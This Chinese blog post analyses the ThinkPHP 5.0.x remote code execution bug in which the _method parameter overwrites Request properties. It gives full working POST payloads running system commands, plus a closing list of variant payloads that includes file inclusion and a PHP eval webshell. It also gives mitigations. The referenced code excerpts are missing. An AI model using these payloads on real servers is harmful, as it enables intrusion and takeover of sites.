前言
消息剛剛曝出來的時候還以爲自己能半天把漏洞給找出來,果然是太菜太年輕了,23333
漏洞分析
漏洞點
此次漏洞出現在ThinkPHP用於處理HTTP請求的Request類中,其中的method方法用於獲取當前的請求類型。
thinkphp/library/think/Request.php
var_method
爲“表單僞裝變量”,可在application/config.php
中定義:
該變量用於請求類型的僞裝,官方文檔如下:
由於沒有做任何過濾,我們可以通過控制_method
參數的值來動態調用Request類中的任意方法,通過控制$_POST
的值來向調用的方法傳遞參數。
來看一下Request類的構造方法:
thinkphp/library/think/Request.php
該方法將傳入的數組進行遍歷,如果數組的鍵名與類的屬性名相同,就將對應的值賦給類屬性。因此我們可以通過控制post參數來控制Request類的各種屬性。
漏洞觸發
漏洞點已經找到,那麼如何來觸發它呢?
5.0.0-5.0.12
payload:
POST /tp5010/public/index.php?s=index/index/index HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
s=whoami&_method=__construct&filter[]=system
ThinkPHP在解析路由的過程中會調用Request類的method方法:
thinkphp/library/think/Route.php
具體調用流程如下:
此時我們已將類屬性成功賦值爲我們可控的值,接下來ThinkPHP會處理請求的參數,調用流程如下:
由於我們之前覆蓋了Request類的filer屬性,該屬性用來指定全局過濾函數,所以所有的http參數都會經過過濾函數。
thinkphp/library/think/Request.php
跟進filterValue函數:
可以看到在filterValue方法中調用了call_user_func成功執行了system函數。
5.0.13-5.0.23
在ThinkPHP 5.0.12之後的版本中,在thinkphp/library/think/App.php
的module方法中增加了設置filter屬性的代碼:
這樣一來我們之前設置的filter屬性就會被重新覆蓋爲空,導致之前的payload失效,必須尋找新的觸發點。
我們回看上面的調用過程,發現Request類中的param方法也調用了method方法:
當method參數爲true時,會進入server方法,跟進看一下:
繼續跟進input方法:
可以看出Request類的server屬性是一個數組,並且是可控的,這裏input方法將key爲REQUEST_METHOD的成員取出來放入了filterValue方法。這裏我們需要找到調用Request類的param方法的地方來觸發漏洞。
開啓了debug模式
如果debug模式開啓,在thinkphp/library/think/App.php
的run方法中會記錄路由和請求信息,此處調用了param方法。
由於此時還沒有執行到module方法,所以filter屬性仍是我們設置的值,沒有被重新賦值。
payload:
POST /tp5023/public/index.php HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
_method=__construct&filter[]=system&server[REQUEST_METHOD]=id
有直接路由到控制器類或者方法的路由規則
payload:
POST /tp5023/public/index.php/?s=captcha HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
根據前面的分析,我們知道之前的payload失效的原因是在thinkphp/library/think/App.php
的module方法中增加了設置filter屬性的代碼,那麼我們可不可以不執行module方法而執行其他方法呢?
thinkphp/library/think/App.php
可以看到exec方法通過$dispatch['type']
來決定調用哪個方法,在調用controller和method方法時都調用了Request類的param方法。現在來看一下$dispatch
是從哪來的:
跟進routeCheck方法:
從配置文件中讀取了路由配置後導入,然後進入了Route類的check方法。
thinkphp/library/think/Route.php
這裏調用了我們熟悉的method方法,這裏就是我們進行變量覆蓋的地方,再來看一下method方法:
在我們覆蓋了類屬性之後,直接將method屬性返回了。獲取到method之後,會根據method的值到self::$rule
中獲取相應的路由規則。
由於ThinkPHP有自動加載機制,在運行時會自動加載vendor
目錄下的第三方庫。加載過程如下:
其中ThinkPHP完整版中有一個驗證碼的第三方庫,在被加載的時候會註冊一條路由規則,當我們訪問http://xxx/captcha
時會路由到\think\captcha\CaptchaController
的index方法。
vendor/topthink/think-captcha/src/helper.php
回到thinkphp/library/think/Route.php
ThinkPHP會解析這條路由規則,解析過程如下:
由於這條規則是直接路由到控制器類的方法,所以type爲method。
再回到thinkphp/library/think/App.php
的exec方法,可以看到已經能夠執行param方法,達到了rce的目的。
漏洞防禦
-
線上環境建議關閉debug模式
-
升級到ThinkPHP 5.0.24
-
手動增加過濾,在
thinkphp/library/think/Request.php
添加如下代碼:
花式payload
漏洞出來之後師傅各顯神通,騷payload一個接一個。精力有限,沒法挨個分析,在這裏收集一下。
-
5.1版本,需設置
error_reporting(0);
POST /tp5132/public/index.php HTTP/1.1 Host: 127.0.0.1:8000 Content-Type: application/x-www-form-urlencoded Cookie: XDEBUG_SESSION=PHPSTORM Content-Length: 28 c=system&f=id&_method=filter
-
利用文件包含
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
-
利用其他變量傳參
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>